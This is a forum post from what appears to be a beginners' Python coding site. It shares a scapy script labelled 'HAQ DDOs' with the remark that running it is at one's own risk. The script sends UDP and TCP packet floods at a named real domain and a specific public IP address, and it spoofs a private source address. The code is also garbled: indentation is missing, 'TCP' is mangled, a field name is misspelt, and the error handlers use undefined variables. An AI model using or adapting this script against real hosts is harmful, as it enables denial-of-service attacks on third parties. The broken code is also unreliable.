用户:xAkidx查看:2 回复:2 评论:2 创建时间:2021-09-12T14:19:21
【作品展示】

【作品介绍】
运行后后果自负
【作品源代码】
# -*- coding:'utf-8' -*-
import time
import struct
from threading import *
import socket
from scapy.all import *
start = time.time()
screenlock = Semaphore(value=1000)
print('[^]HAQ DDOs start!')
def DDos():
try:
print('[*]Second layers of DDos')
s = srp(IP(dst="www.dgjy.net", ttl=480)/UDP()) # 第二层攻击
print(s[0].show())
except:
print('[-]The cause of the mistake {}'.format(e))
try:
print('[*]Third layer DDos')
p = srloop(IP(dst="www.dgjy.net", ttl=160) / UDP()) # 第三层攻击
print(p[0].show())
except:
print('[-]The cause of the mistake{}'.format(s))
try:
print('[*]Repeated attacks')
see = srp(IP(dst="113.108.127.169")/T喵(dport=[80, 443])) # 重复攻击
print (see[0].show())
except:
print('[-]The cause of the mistake{}'.format(f))
try:
data = struct. pack('=BHI', 0x96, 20, 1000)
pkt = IP(src='192.168.225.141', dst='113.108.127.169') / \
UDP(sport=12345, dport=[80, 443])/data
print('[*]DDoS attacks are being carried out!')
screenlock.acquire()
send(pkt, inter=1, count=160)
except:
print("[-]The cause of the mistake{}".format(g))
try:
print('[*]DDos')
gp = sr1(IP(dst="www.dgjy.net", tll=(1, 160))/UDP())
except:
print('[-]cause of the mistake{}'.format(i))
t = Thread(target=DDos, args=())
t.start()
end = time.time()
print('[!]Time consuming of this program,The first time is the initialization time:', end-start)
【提示】
部分含有Python第三方库相关内容的作品,在海龟编辑器网页端无法运行哦!如遇到这种情况,可以打开下面的链接,下载海龟编辑器客户端:
https://python.codemao.cn